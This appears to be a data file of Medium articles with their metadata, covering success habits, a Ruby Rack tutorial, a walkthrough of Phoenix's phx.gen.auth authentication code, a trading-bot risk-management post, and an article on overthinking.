27.Maximize their strengths: Like any other individual, these people too have weaknesses. But they pay their attention to maximize their strengths even better instead of dwelling on the things that they are not good at.
28.Value their time: Successful people are aware of the fact that the time once gone can never be brought back. Therefore they are very concerned on what they spend their time into.
29.Open to learning: These people would have cultivated the habit of being open to learning from anybody and anything that they encounter in their life. They don’t restrict themselves from others way of thinking.
30.Always look for the silver lining: Their optimistic nature lets them to look past everything that happens to them with a silver lining. That is, they’ll consider it to be a lesson if things didn’t happen the way they wanted them to.
31.Master their emotions: With each passing day and experience they would have learnt to master their emotions. They are not controlled by their feelings rather they control them.
32.Plan their work and work their plan: Strategic planning will guide them to act in a way that will bring the end results they have desired.
33.Loves to be out of their comfort zone: They are constantly hungry for growth. Hence they would look out for oppurtunities hopping into which they can elevate their life.
34.Live by core values: They’ll never compromise on their most significant beliefs. This will make them look stubborn in the eyes of others but they least likely care for what others think of, in this regard.
35.Inspire people and make them grow as well: Since successful people are open to learning they would want to pay it forward to the people in need in some way. This sheds a light on them for bringing the best out of others.
36.Open to constructive criticism: These people are open to adapt and admit their shortcomings. Their ability to accept their drawbacks and work on that leads them to succeed in the things they do.
37.Value their solitude time: They take this alone time to refuel themselves by engaging in their other area of interests besides their main goal. This switch over lets them to accelerate their productivity.
38.Set their own standards: They’ll not accept anything that is less than their expectations. These people are very firm on their goals but flexible in the strategies they use to accomplish those goals.
39.Goal oriented: Highly focused and committed to their goal. Their purpose is what drives them to equip themselves and behave accordingly.
40.Consume good food: What we consume have a direct implication on our health. Only when we are healthy we’ll be able to live life the way we like. Hence these people are very conscious of what they feed themselves with.
41.Let go of the past: These people don’t dwell on the past. Their optimistic nature lets them to welcome the goodness that’s ahead in the future.
42.One thing at a time: They’ll focus all of their energy into one thing at a time. One of the foremost admirable quality is that they live in the present moment keeping in mind the long term vision.
43.Pay attention to details: They develop a proper plan and analyse it from all perspective before taking up the work. They keep plan B ready in case of failure of plan A.
44.Gratitude: These people are very grateful for the things they have in their life already. This positive attitude breeds success after success when accompanied with the execution of the tasks at hand.
45.Deprioritize oppurtunities which doesn’t fit their short term/long term goals: At a regular interval, these people keep self assessing to know if they are moving in the right direction. If not they’ll see what can be done to direct their progress in their desired path. | https://medium.com/thn/45-habits-of-highly-successful-people-e9f53a5b7111 | ['Naveenya Gunasekar'] | 2020-09-12 08:42:29.052000+00:00 | ['Mindset Shift', 'Successful People', 'Success', 'Habits', 'Habits For Success'] |
Rack: Part I | Introduction
This is the first in a series of two articles. You can find the second article here or at the bottom of the page.
These two articles focus on the Rack RubyGem — what it is, where it sits in server-side development, what it means for an application to be Rack-based, and what Rack accomplishes for developers and the frameworks they work with behind the scenes. We’ll dig into a little Rack source code and send some really simple responses back to our browser to demonstrate the material.
The series has been a learning exercise for me, and I hope it serves as a deeper look into Rack for anyone who’s interested. Please do not hesitate to leave a comment here on Medium or reach out to me in Slack on Launch School. I would love to make these articles as accurate and complete as possible, so please don’t hesitate to leave any feedback.
You may find this material most useful if you have a broad understanding of network communication, procedural and object-oriented programming, and Ruby. You may also find this material useful if you have some experience with a framework like Sinatra or Ruby on Rails, and want to learn about how Rack functions at a lower level. With no further ado, let’s get started!
What is Rack?
Rack is a RubyGem that provides an interface for your Ruby web application and the application server you’re using. Rack-based applications are those that follow a set of specifications established by Rack that allow Rack to work with the application.
Rack is a generic interface — it facilitates smooth communication between your Rack-based Ruby app (whether it’s a Sinatra app, a Rails app, an app written using a different framework, or an app written in plain Ruby) and the application server you’re working with (whether you’re using WEBrick, Puma, Passenger, Unicorn, Thin, etc.).
The diagram below is a high level look at what happens server-side after a user initiates a request by typing in a URL or clicking a link in a browser.
The Rack RubyGem serves as an interface between the application and the application server during the request-response cycle.
Rack sits between the application server and the application. In the client-server direction, Rack takes plain text HTTP requests and formats them into Ruby data structures that can be more easily used by your Ruby program or framework. In the server-client direction, Rack then takes the return value of your Ruby program and formats it into HTTP -compliant text to be sent back to the client as an HTTP response.
Rack allows your application to focus on core business logic — making server-side changes and generating dynamic content. It takes care of lower level tasks like handling HTTP requests and responses.
We can zoom in to the exchange of information between the application and the application server to show Rack’s role as a generic interface.
Rack offers support for many servers, and many applications can be Rack-based.
Rack provides a standardized way for an application and servers to communicate. A Rack-based application could use WEBrick or Puma — without having to make changes to a configuration file.
What makes an application Rack-based?
An application is considered Rack-based if it adheres to Rack specifications. Namely, an application must define a call method. This method is the heart of a Rack-based application. There are two requirements for the method.
call must be defined to take one parameter, often called env .
A Rack app must define a method named call that takes one argument.
2. call must return an Array object with three items. The three items are a) a String or Integer object that represents a status code, b) a Hash object that holds key-value pairs of content headers and their values, and c) an object that responds to Enumerable#each and holds the body of the response.
This constitutes a minimum viable Rack application
When call is actually invoked and passed an argument, env will be bound to a Hash object with HTTP headers and other environment variables that relate to the incoming HTTP request. In short, env is a Hash with all the information about an incoming request that you — or the framework that you’re writing your application in — can use. We’ll take a closer look at env shortly.
The return value of the call method is used to format an HTTP response that will eventually be sent back to the client.
Finally, Rack needs to know what to run and how to run it. This can be achieved by using a rackup config.ru file or by requiring ‘rack' and invoking Rack::Handler::WEBrick.run in the file like we do below.
Let’s examine this canonical example of a simple Rack application.
require 'rack' class MyApp
def call(env)
['200', { "Content-Type" => "text/plain" }, ["hello world"]]
end
end Rack::Handler::WEBrick.run MyApp.new
If you’re following along in a code editor, you can copy and paste this code and save your file as myapp.rb . If you’re not sure if you have the rack gem installed on your machine, you can run gem install rack in the command line. (If you’re not sure you have webrick , you can do the same for that gem). Then you can run ruby myapp.rb in the command line.
This starts a server on port 8080 , listening for incoming requests from a client. To send a request, open a browser and type in http://www.localhost:8080 . You should see hello world in that tab.
To quickly demonstrate another example that returns HTML that will be interpreted by the client, below is an example where we change the "Content-Type" to "text/html" , which tells the browser to interpret the body as HTML rather than plain text.
require 'rack' class MyApp
def call(env)
body = "<h2>Hello in Style!</h2>" ['200', { "Content-Type" => "text/html" }, [body]]
end
end Rack::Handler::WEBrick.run MyApp.new
This time, we initialize a local variable body , assign it to a String object that can be interpreted by the browser as HTML , specify this new type of content to the browser, and return body as the third element in our Array , which will be displayed in the browser.
What is env ?
Let’s take a look at the env request hash by including it as the body of our response to the browser.
require 'rack' class MyApp
def call(env)
['200', { "Content-Type" => "text/plain" }, [env.to_s]]
end
end Rack::Handler::WEBrick.run MyApp.new
If you run ruby myapp.rb in the command line and visit www.localhost:8080 , you’ll see the contents of env that are available to your Rack-based application. You’ll see information like "PATH_INFO" => "/" , "QUERY_STRING" => "" , "REQUEST_METHOD" => "GET" , and "HTTP_CACHE_CONTROL" => "max-age=0" . You’ll also see information that Rack appends to the HTTP request, like "rack.version" => [1, 3] , "rack.multithread" => true , and "rack.url_scheme" => "http" .
env is a Hash with key-value pairs of information that comes from the HTTP request, the server, and Rack itself. You can read more about it and see an example here. Rack, Rack middleware, and Rack-based frameworks use the information in this Hash to execute logic. The "PATH_INFO" and "REQUEST_METHOD" are generally the most useful pieces of information for you as the developer. "PATH_INFO" shows the path added to the URL after the hostname , which you (or frameworks you use) can use to direct users to certain pages and execute particular logic. You can use the "REQUEST_METHOD" to understand if the user is requesting a server-side change or simply requesting a resource.
Next level of abstraction, please
Let’s circle back to the first iteration of our simple Rack-based application.
require 'rack' class MyApp
def call(env)
['200', { "Content-Type" => "text/plain" }, ["hello world"]]
end
end Rack::Handler::WEBrick.run MyApp.new
What’s happening in this code snippet? We’re requiring the Rack library. This gives us access to the Rack::Handler::WEBrick::run method that we invoke on the final line of code, as well as all the other classes and modules implemented as part of the Rack gem.
On the final line, we’re calling ::new on our Rack-based MyApp class we define above. We then invoke Rack::Handler::WEBrick::run and pass in the instance of our class. What’s happening with all of those constants strung together?
They’re all different classes and modules included in the Rack library. You can peruse the Rack source code here. If we navigate into the /lib/rack/ subdirectory of the Rack Github repo, we’ll see a Handler subdirectory. Let’s check that out, as that’s the second constant used to access this ::run method.
Okay … because we’re invoking Rack::Handler::WEBrick::run , let’s jump into the webrick.rb file.
This file includes webrick and stringio , then carries out a little monkey patching to accomplish out-of-scope tasks, then opens a module Rack , a nested module Rack::Handler , and a nested class Rack::Handler::WEBrick (which inherits from a subclass of the WEBrick class that’s been included and monkey patched up above).
This matches the chained modules and classes prepended to the ::run class method we invoke in our myapp.rb file! Great — now we can search for our ::run method.
Rack source code here
We don’t have to search very far. ::run is defined on the first line of the nested Rack::Handler::WEBrick class. It looks like ::run is going to take an app and an optional options Hash object.
This optional Hash allows us to specify a hostname and a port other than the default development values of localhost and 8080 . On lines 27-28 , we’re accessing ENV (unrelated to env passed to call ) to check the environment we’re running this application in to decide what the hostname should be. On lines 30-36 , we set a hostname , a port , and lay the groundwork for WEBrick to use HTTPS if that’s been specified in the application. | https://aumi9292.medium.com/rack-part-i-6bb268dde211 | ['Austin Miller'] | 2020-10-29 21:57:33.688000+00:00 | ['Web Development', 'Ruby on Rails', 'Programming', 'Ruby'] |
A deep dive into authentication in Elixir Phoenix with phx.gen.auth | Into the code
To get an overview of the functionality that phx.gen.auth provides, let’s take a look at our router file ( lib/<app_name_web>/router.ex ).
It generated a number of routes and corresponding controller actions. The controllers provide a good separation of concerns and we’ll be looking at how each works in turn below, but, before we move on, it’s worth pointing out that the generator has created some route based authorization in our router file. Note the plugs; require_authenticated_user and redirect_if_user_is_authenticated . These are being imported from the UserAuth module, which provides some utility functions for working with the session and the %Conn{} . We’ll look at UserAuth in more detail below, but it’s worth noting here how certain routes like the registration and sign in routes will redirect if the user is already authenticated. Makes sense, right? Other routes, like changing the user’s settings, require that the user is authenticated. Cool? Alright, moving on.
User Registration
If we look at our our UserRegistrationController module, you can see that it exposes two actions: new/2 and a create/2 .
UserRegistrationController. new/2
The new/2 action is pretty straightforward. It takes a %Conn{} , gets a registration changeset with an empty %User{} struct from the Accounts context, and renders the registration form in the new.html template. Nothing too surprising there.
UserRegistrationController. create/2
The create/2 action takes the %Conn{} and the user_params submitted from the registration form and passes them into Accounts.register_user/1 . Let’s look at Accounts.register_user/1 .
It creates a registration changeset with an empty %User{} struct and the params submitted from the registration form. It then inserts a new user record into the users table in the database. So far so good. Basic Phoenix stuff, right? Before we move on let’s take a look at the User schema file and check how a user is being defined and what that User.registration_changeset/3 function is doing.
We can see that the User schema is being defined with a virtual password field, which means that the password field on the %User{} struct is a derived field and that it is not persisted in the database. The hashed_password , however, is persisted. Aside from that, we have an email field and a confirmed_at field. One last thing to point out on the schema, since the password field is being stored on the %User{} struct, at least in memory, we need to take care not to leak the password accidentally. To mitigate the risk somewhat, the @derive attribute is being used to ensure that the password is not leaked when the Inspect protocol is exercised on the %User{} , eg. when you call IO.inspect(%User{}) .
The registration_changeset/3 function takes a %User{} struct, a map of some attributes, and a keyword list of options. The attributes should look something like this:
%{"email" => "[email protected]", "password" => "some_password"}
The function casts the attributes into a changeset and then pipes the changeset through validate_email/1 and validate_password/2 . One cool thing to notice here is how the opts keyword list is passed to validate_password/2 . The opts keyword list can optionally contain [:hash_password, false] . This prevents validate_password/2 from adding a hashed_password to the changeset. This flexibility is super useful for doing dynamic form validation with LiveView, and negates the need for two separate changeset functions. The phx.gen.auth generator doesn’t actually generate any LiveView code, but it’s some nice forethought. If [:hash_password, false] is not in the opts then the maybe_hash_password/2 will put the hashed password as a change on the changeset. The Bcrypt library’s hash_pwd_salt/1 is being used to handle the hashing with a randomly generated salt. One more thing to note here, is that the confirmed_at field is left untouched. The section below on User Confirmation will deal more with this field, but this field does give you the opportunity to implement custom experiences for both confirmed and unconfirmed users (check out the plug UserAuth.require_authenticated_user/2 for a good place to add this behavior).
Cool, OK. But, we are actually still not done with the create/2 function in the controller. If the call to Accounts.register_user/2 failed for some reason, maybe an email already existed in the database or a password wasn’t long enough, an :error tuple with the changeset will be returned. In which case, the changeset is then passed back to the view so that the errors can be rendered in the template. If the call to Accounts.register_user/2 did succeed, then an :ok tuple with the %User{} struct will be returned. Two things happen then. First, a call is made to Accounts.deliver_user_confirmation_instructions/2 and then the user is actually signed in by calling UserAuth.log_in_user/3 .
Lets’s take a look at Accounts.deliver_user_confirmation_instructions/2 first.
This function takes a %User{} and a function, confirmation_url_fun . The function, in this case, is an anonymous function wrapped around a Routes path function that just returns the path to the confirmation page parametrized with whatever is passed to the anonymous function, which, in this case, will be a token generated by UserToken.build_email_token/2 . 😅That sounded way more complicated than it actually is. Anyways, this function makes use of the UserToken schema for the first time that we’ve seen. Briefly, let’s take a look at how the UserToken schema is defined and how the user confirmation tokens are generated.
The UserToken schema contains a token , a context , and sent_to fields. The token field stores either a raw or a hashed randomly generated binary token. The context field can contain any one of the following strings: ["confirm", "reset_password", "session"] or a dynamic string based on a user’s email, eg. "change:[email protected]" . Lastly, sent_to is an email address. The function build_email_token/2 takes a user and a context, in this case it's "confirm" , and returns a tuple with the first item being a base64 URL encoded token and a %UserToken{} struct containing a hashed version of the token. The hashed version of the token will get persisted in the database in the user_tokens table, whereas the base64 URL encoded version will be included the in confirmation page URL delivered to the user.
If we jump back to Accounts.deliver_user_confirmation_instructions/2 we can see that the newly created %UserToken{} gets inserted into the database and the base64 URL encoded token is being passed to the confirmation_url_fun function, the result from which is being passed to the UserNotifier.deliver_confirmation_instructions/2 . The generated deliver_confirmation_instructions/2 function doesn’t do much at this point. It just logs a message to the console, but the deliver/2 function in UserNotifier could be adapted to call some implementation of Bamboo.
Finally, to actually wrap up the create/2 action in the user registration controller, the user is logged in and a new session is created by calling UserAuth.log_in_user/3 . I’ll cover this in detail below.
User Session
The UserSessionController module handles signing users in and out of the app by creating and destroying sessions. The session controller exposes three actions: new/2 , create/2 , and delete/2 .
UserSessionController. new/2
The new/2 action does nothing except render the sign in form in the new.html template. Note how we’re not using a changeset to create a form, but we are passing an :error_message in the assigns for the %Conn{} .
UserSessionController. create/2
The create/2 action takes the user_params from the sign in form, and attempts to get a user by calling Accounts.get_user_by_email_and_password/2 . If the user is not found, the new.html template is rendered with a generic error message that is intentionally vague. If a user is found, then they are signed in by calling UserAuth.log_in_user/3 . Before we look at that function, let’s look at how we are getting the user in Accounts.get_user_by_email_and_password/2 .
This function looks up a user in the database by the user’s email, and then checks if the user’s password is valid by calling User.valid_password?/2 .
In User.valid_password?/2 , the password is verified by calling Bcrypt.verify_pass/2 . Note that if a user is not found Bcrypt.no_user_verify/0 is called. This is an important defense mechanism in preventing timing attacks that measure the amount of time that an authentication check takes in order to determine if a user exists.
Ok, jumping back to create/2 and into UserAuth.log_in_user/3 .
Let’s look at Account.generate_user_session_token/1 and UserToken.build_session_token/1 .
This is pretty similar to the confirmation tokens that we saw earlier, where a random binary is generated for the token. However, this time the token is not being hashed before being inserted into the database.
Ok, back in UserAuth.log_in_user/1 , a new session is created with the %Conn{} and the session token is added to the session’s assigns. Note that a :live_socket_id is also being assigned to the session’s assigns using the session token so that LiveView sockets can be disconnected when logging out. It’s also worth noting that the token is also being signed into a “remember me” cookie that is set if the user clicks the :remember_me checkbox on the sign in form. Finally, login_in_user/1 redirects the user to either user_return_to or to the signed_in_path/1 . Where is user_return_to coming from?
Remember the plugs that were being used in the Router to protected authenticated routes? One of those was UserAuth.require_authenticated_user/2 .
If the user is not authenticated, it redirects them to the sign in page and adds their current path to the session as :user_return_to . This way we can send the user back to the page that they were trying to access before they were authenticated. Nice. One more thing before we move on. You might be wondering, “Ok, that’s how someone gets logged in, but how do we check if someone is already logged in and that their session token is valid?”. Well, I’m glad you asked. There’s another plug being used in the Router that I didn’t mention earlier. If you look at the browser pipeline in the Router you will see that a fetch_current_user plug was added by the generator. This plug is being used by all of our routes, and is, once again, being imported from the UserAuth module.
The function first attempts to get the user token from the %Conn{} from either the :user_token in the session assigns or from the signed remember me cookie. If it does find a token then the :current_user gets sets as nil on the %Conn{}'s assigns. Otherwise, if it does find a token, it attempts to get a user from the token by calling Accounts.get_user_by_session_token/1 and subsequently, User.verify_session_token_query/1 . Let’s look at those functions.
The query selects from the user_tokens table where the token matches the given token and the context is "session" , and then joins the users table finally returning the user associated with the user token. With the user, fetch_current_user/2 adds the current_user to the %Conn{}'s assigns. That way anything using the %Conn{} later in the pipeline will have access to the current user. Alrighty, that is it for creating a session, let’s look at how we destroy a session with the delete/2 action.
UserSessionController. delete/2
The delete/2 action makes a call to UserAuth.log_out_user/1 to destroy the user’s session.
The current token is retrieved from the session. To clear any session tokens, all rows in the user_tokens table that contain the session token are deleted with the call to Accounts.delete_session_token/1 . After deleting the session tokens, it broadcasts a "disconnect" message for any LiveView socket connections. Finally, it clears the session, deletes the remember me cookie, and redirects the user to the "/" . With this done, the user will be logged out and will need to re-authenticate to visit any routes that require_authenticated_user .
That wraps up the session actions. Hopefully, now you have some understanding of how phx.gen.auth is handling signing a user in and out of the app. Remember back in the Registration section above, where I talked about the confirmation message that was being sent to the user (or logged to the console)? The next section will discuss what happens when a user clicks on the confirmation link in the confirmation message.
User Confirmation
The UserConfirmationController module handles confirming a new user. It exposes three actions: new/2 , create/2 , and confirm/2 .
UserConfirmationController.new/2
The new/2 action renders a page for user’s to resend a confirmation email. The form posts to the create/2 action.
UserConfirmationController.create/2
The create/2 action is pretty much the same thing that we saw in UserRegistrationController.create/2 . A user is looked up from the database by their email address, and a new confirmation message is set just like during registration.
UserConfirmationController.confirm/2
When the user clicks the confirmation link in the confirmation message they will be directed to the path users/confirm/:token which is handled by the UserConfirmationController.confirm/2 action. The confirm/2 action takes the token that is parameterized in the URL and attempts to mark a user as confirmed by calling Accounts.confirm_user/1 . Lets’s take a look at Accounts.confirm_user/1 and the subsequent, UserToken.verify_email_token_query/2 .
The verify_email_token_query is a little bit more complex than what we saw earlier with the verify_session_token_query . With this query, the given token needs to be URL decoded and then hashed before it can be queried against what was actually stored in the database. If a user is not returned when the query gets run then an :error gets returned; however, if a user is found then it’s passed along to the confirm_user_multi/2 transaction which updates the user’s :confirmed_at field, and deletes any confirmation rows from the user_tokens table associated with the user. Back in confirm/2 , regardless of the outcome of the confirmation the user will get redirected to "/" ; however, if the confirmation was successful an appropriate flash message will be shown. If the user was already confirmed, then no message is shown. Finally, if there was an error, an appropriate error flash message is shown.
So thats how user confirmation works. In the next section, we’ll look how phx.gen.auth implements resetting a user’s password for a user that is unable to sign in.
User Password Reset
The UserResetPasswordController module handles, well, resetting the user’s password for users that are not authenticated. It exposes four actions: new/2 , create/2 , edit/2 , and update/2 .
UserResetPasswordController.new/2
This action just renders a form where the user can request a password reset by entering their email. The form posts to the create/2 .
UserResetPasswordController.create/2
This function is very similar to what we saw with UserConfirmationController.create/2 . It attempts to get a user by email and creates a hashed "reset_password" token which gets parametrized in the user_reset_password_url . The user is then redirected to "/" , and is given instructions to check their email in a flash message. As with with the confirmation message, Account.deliver_user_reset_password_instructions/2 currently just logs a message to the console.
UserResetPasswordController.edit/2
The edit/2 action renders the form for changing the user’s password. This form contains a :password_confirmation field whereas the registration didn’t. This is to reduce friction during the registration process. Notice that a user is getting passed to Accounts.change_user_password/2 . Where is that coming from? It’s coming from the get_user_by_reset_password_token/2 plug which the %Conn{} is piped through prior to hitting both the edit/2 and update/2 actions. Dope. The Accounts.get_user_by_reset_password_token/1 function works similar to what we saw above when getting a user by a confirmation token. The given token must be first unwrapped by URL decoding and then hashed before querying the database. If the user isn’t found then the user is redirected to "/" , a helpful flash message is shown, and the %Conn{} is halted so that nothing else in the pipeline is run. However, if a user is found then the change password form is rendered with a changeset generated from the freshly retrieved user.
UserResetPasswordController.update/2
Just like edit/2 , the %Conn{} gets piped through get_user_by_reset_password_token/2 so that user is available in update/2 . The user_params from the password reset form are passed in Accounts.reset_user_password/2 .
Inside of a transaction, reset_user_password/2 updates the user’s password, and also deletes all tokens associated with the user from the user_tokens table to ensure that any session data gets cleared. If there are errors, then a changeset with errors is returned to the user. If the transaction was successful, then the user is redirected the sign in page.
This section looked at resetting the user’s password when they were not authenticated. The section below will look at changing a user’s password and email address when they are authenticated.
User Settings
The UserSettingsController module handles updating the user’s email and passwords for an authenticated user. It exposes three actions: edit/2 , update/2 , confirm_email/2 .
UserSettingsController.edit/2
The edit/2 action is super simple, it just renders two forms on the same page. One form is for changing the user’s email, and one is for changing the user’s password. Note, the changesets for the forms are being set with the assign_email_and_password_changesets plug.
UserSettingsController.update/2
Both the update email and update password forms post to the update/2 action. The function pattern matches on the params to determine what form the params are coming from. Let’s take a look at updating the password first.
The form that posts to the update/2 action contains the user’s current_password and the password change they want to make. These are passed to Accounts.update_user_password/3 along with current_user . This is nearly identical to the Account.reset_user_password/2 that we saw used above to reset passwords. The only difference here is that since the user is logged in, the current_password is verified before the password is changed. Just like when the password was reset above, all of the rows in the user_tokens table associated with the users are deleted to ensure that any session data gets cleared.
Let’s take a look at updating a user’s email now.
The form that posts to the update/2 action contains the user’s current_password and the email change they want to make. The user along with the current_password and email are passed to Accounts.apply_user_email/3 . This function creates a changeset that checks if the email will actually change, validates the new email, and verifies the current_password . Then instead of using the changeset to the update the users table, it applies an :update action on the changeset which returns an updated %User{} struct. This %User{} struct and the user’s previous email is then passed into Accounts.deliver_update_email_instructions/3 . This function behaves similar to other delivery functions that we’ve seen above. Like the other functions, it creates a token that gets parameterized in the URL that gets sent to users (or actually just logged in the console for now). But unlike the functions above, the context for this %UserToken{} becomes "change:#{current_email}" . For example, if my current email was [email protected] and I want to change it to [email protected] , the context would be change:[email protected] and the :sent_to field would be [email protected] . The resulting message is then sent (or logged) to the user’s new address with a confirmation link containing the token. At this point, the user’s email still hasn’t changed in the database. Check out confirm_email/2 to see how it gets updated.
UserSettingsController.confirm_email/2
The confirm_email/2 pulls the token that we discussed above from the params, and passes it to Accounts.update_user_email/2 along with the current_user . Remember, the current_user still has the old email. So in my example from above, it’s still [email protected] . In update_user_email/2 it builds a context string with the "change:#{user.email}" and uses that along with the token to query for the %UserToken{} . Similar to other the email verification queries that we looked at above, the token has to be URL decoded and then hashed before it can be used in the query. Once the %UserToken{} is retrieved. The value from the UserToken.sent_to , [email protected] from the example above, can be passed to a transaction function that finally updates the user in the users table, and deletes any rows from the user_tokens tables for the user and the the "change:#{user.email}" context . If everything works, then the user is redirected to the user settings page. If something goes wrong, then a flash message with a generic error message is displayed and the user is still redirected to the user settings page.
That’s it for user settings.
Wrapping up
That might have got a little deep into the weeds, but the 18 minutes or however long it took you to read this really isn’t that much time. And, I bet that you have a pretty good understanding of phx.gen.auth now; enough, to jump into your own code, make your app’s authentication solution your own, and make it awesome for your users. Ultimately, phx.gen.auth and authentication in Elixir Phoenix really isn’t that scary. It’s mostly just Elixir and Phoenix … which is mostly pretty simple 😏. If you have any questions or comments, let me know in the comments below. | https://levelup.gitconnected.com/a-deep-dive-into-authentication-in-elixir-phoenix-with-phx-gen-auth-9686afecf8bd | ['Cameron Carlyle'] | 2021-02-23 12:50:06.465000+00:00 | ['Functional Programming', 'Phoenix Framework', 'Elixir', 'Authentication', 'Programming'] |
How to design a machine learning trading bot — Part 6: Risk Management | How to design a machine learning trading bot — Part 6: Risk Management
Previously on “How to design a machine learning trading bot”
We have started with “Collecting Data”:
We found out what is OHLCV data and, we learned why we need historical data and online data both together.
Then we continued with “Data Analysis”
We have seen how cleaning the data including features engineering is important. We learned that to make a stable machine learning model we need to prepare data in the right way and finally, we found out how visualizing data can help us to reach the goal.
Then we continued with finding a pattern and we noted you can be trapped like a horoscopist to find a pattern in data, and always follow the scientific ways and act as an astronomer. Then we had found a very simple pattern which was “SMA20” and we discussed how to label them to [0,1].
Then, we build a model. We explained after you made an ML (Machine Learning) model, you should evaluate it with a backtest. And at this point, you need a strategy to Buy and Sell. It means, we already have a signal to open a Long/Short position.
Finally, we showed how to run the automation, by these actions:
Place an order
Retrieve an order
Cancel an order
Get the asset’s balance
Get Online price
Following by understanding the concept of exchanges, API, and spot trading.
Now it’s time to take care of the position we have opened and make sure we reach the profit or make our loss minimum as possible.
Step 6: Monitoring the trade and Risk Management
First, let’s start to answer this question:
Why do we need to monitor the trade and our position?
Back to years ago with classic trading, it was so normal when you open a position based on a given signal all information you need has given to you by the signal maker.
Risk Management
The following example is one of this classic signal:
Market: Whatever ;)
Side: Buy
Order type: Limit
Open position: 100
Take-profit (TP) 1: 110
Take-profit (TP) 2: 115
Stop-loss (SL): 90
As you can see you have all the information you need TP1, TP2, and SL. Suppose we are the signal maker and try to understand the meaning of this signal with our data vision.
Signal maker: Based on the data I’ve already collected I have decided what would be the best trade for me. And I don’t care what happens after I open a position because I’m so smart and I predicted what could happen, for this reason, I’ve already set my stop-loss and take-profit.
Can you see the problem behind this kind of prediction and action?
It’d be so easy to fix this error. We need to evaluate our trade with the new data from the market and we should be flexible to change stop-loss or take-profit while the position is still open. With this perspective, we can follow three methods:
Update SL and TP every minute (The minimum time frame) Update SL and TP on each [defined] period (which is not the period you’re trading) Update SL and TP on the time-frame you’re trading.
So, what does it means?
Let’s consider we are trading in the 1H (1Hour) time frame.
Trading in the 1H time frame means our decision to buy and sell is based on the OHLCV in 1H.
1- Then, updating SL and TP every minute (method 1) means we will decide to change TP and SL on 1minutes OHLCV.
2- Method 2: If we decide to change TP or SL every 15 minutes based on the changes in the last 15 minutes (Lower time frame) or if we update SL or TP every 2 hours (Higher time frame)
3- By following the third method, you will decide about changing SL or TP every hour by looking at the last hour data.
If you’re following me from our first episode, you have seen that I always go for the simplest way to design and later on to develop. This is my trick to estimate the idea. Well, I bet, you know what method we should start!
Yes, that’s right. We are continuing with the third method which is updating SL and TP at the same time frame we are trading.
Machine Learning:
It backs again. Do you remember what we have done so far? Let’s recap it:
So, I have good news and bad news. The bad news is we have to do it all these steps again. And the good news is, we have done it once then it’s easy to redo it again on a small scale.
First, we collect the last hour data (OHLCV), from the time we opened the position till the time we want to process.
Then, we analyze it and find the proper features. One of the differences between analyzing data at this time and before is about the trade position. Means our key feature at this point is our trade entrance.
After that, we need to find a pattern and do the training and testing and also backtesting.
Then, we should make a model.
Finally, we need to run the bot to change the SL or TP on the exchange. For example, in this step maybe you need to cancel the old SL on the exchange and place a new order for the new SL.
Conclusion:
Risk management and monitoring the position is a separated part from the trading with the new input and output. To reach the positive result you need to do all parts from 1 to 5 again. In our development season (Which starts in January 2021) when we want to develop this part we will go deeper and talk more about it.
What are we going to do now?
About 1DES
1DES is Trading solutions powered by Machine Learning. At 1DES, we offer an innovative way to trade with machine learning techniques.
There is a “Free Trial” plan for all users at 1Des.
Also, there are other plans if you want to trade more professionally, at this moment both of them have 50% off.
Additionally, as special offers for the readers of this article 1DES is going to refund the first-month subscription, if you select one of the Avion or Rocket plans before 20th March 2021.
Also, Read | https://medium.com/coinmonks/how-to-design-a-machine-learning-trading-bot-part-6-risk-management-886cf0cb2704 | [] | 2020-12-28 13:14:23.667000+00:00 | ['Trading', 'Cryptocurrency', 'Money Management', 'Risk Management', 'Machine Learning'] |
Psychologists Explain How To Stop Overthinking Everything | Psychologists Explain How To Stop Overthinking Everything
Overthinking can lead to serious emotional distress and increase your risk of mental health problems
Image from rawpixel.com
Thinking about something in endless circles — is exhausting.
While everyone overthinks a few things once in a while, chronic over-thinkers spend most of their waking time ruminating, which puts pressure on themselves. They then mistake that pressure to be stress.
“There are people who have levels of overthinking that are just pathological,” says clinical psychologist Catherine Pittman, an associate professor in the psychology department at Saint Mary’s College in Notre Dame, Indiana.
“But the average person also just tends to overthink things.” Pittman is also the author of “Rewire Your Anxious Brain: How to Use the Neuroscience of Fear to End Anxiety, Panic, and Worry.”
Overthinking can take many forms: endlessly deliberating when making a decision (and then questioning the decision), attempting to read minds, trying to predict the future, reading into the smallest of details, etc.
People who overthink consistently run commentaries in their heads, criticising and picking apart what they said and did yesterday, terrified that they look bad — and fretting about a terrible future that might await them
‘What ifs’ and ‘shoulds’ dominate their thinking, as if an invisible jury is sitting in judgement on their lives. And they also agonise over what to post online because they are deeply concerned about how other people will interpret their posts and updates.
They don’t sleep well because ruminating and worrying keep them awake at night. “Ruminators repetitively go over events, asking big questions: Why did that happen? What does it mean?” adds Susan Nolen-Hoeksema, the chair of the department of psychology at Yale University and the author of Women Who Think Too Much: How to Break Free of Overthinking and Reclaim Your Life. “But they never find any answers.”
If you consistently focus on ruminating and make it a habit, it becomes a loop, And the more you do it, the harder it is to stop. Clinical psychologist Helen Odessky, Psy. D., shares some insight. “So often people confuse overthinking with problem-solving,” says Odessky, the author of “Stop Anxiety from Stopping You.” “But what ends up happening is we just sort of go in a loop,” Odessky says. “We’re not really solving a problem.”
Overthinking is destructive and mentally draining. It can make you feel like you’re stuck in one place, and if you don’t act, it can greatly impact on your day-to-day life. It can quickly put your health and total well-being at risk. Rumination makes you more susceptible to depression and anxiety.
Many people overthink because they are scared of the future, and what could potentially go wrong. “Because we feel vulnerable about the future, we keep trying to solve problems in our head,” says David Carbonell, a clinical psychologist and author of “The Worry Trick: How Your Brain Tricks You into Expecting the Worst and What You Can Do About It.”
Extreme overthinking can easily sap your sense of control over your life. It robs us of active participation in everything around us.
“Chronic worriers show an increased incidence of coronary problems and suppressed immune functioning. Dwelling on the past or the future also takes us away from the present, rendering us unable to complete the work currently on our plates. If you ask ruminators how they are feeling, none will say “happy.” Most feel miserable,” says Nicholas Petrie, a senior faculty member at the Center for Creative Leadership.
Overthinking can trap the brain in a worry cycle. When ruminating become as natural as breathing, you need to quickly deal with it and find a solution to it.
“When an unpleasant event puts us in a despondent mood, it’s easier to recall other times when we’ve felt terrible. That can set the stage for a ruminator to work herself into a downward spiral,” writes Amy Maclin of Real Simple.
How to defeat this pattern of thinking and win your life back
Chronic worrying is not permanent. It’s a mental habit that can be broken. You can train your brain to look at life from a different perspective.
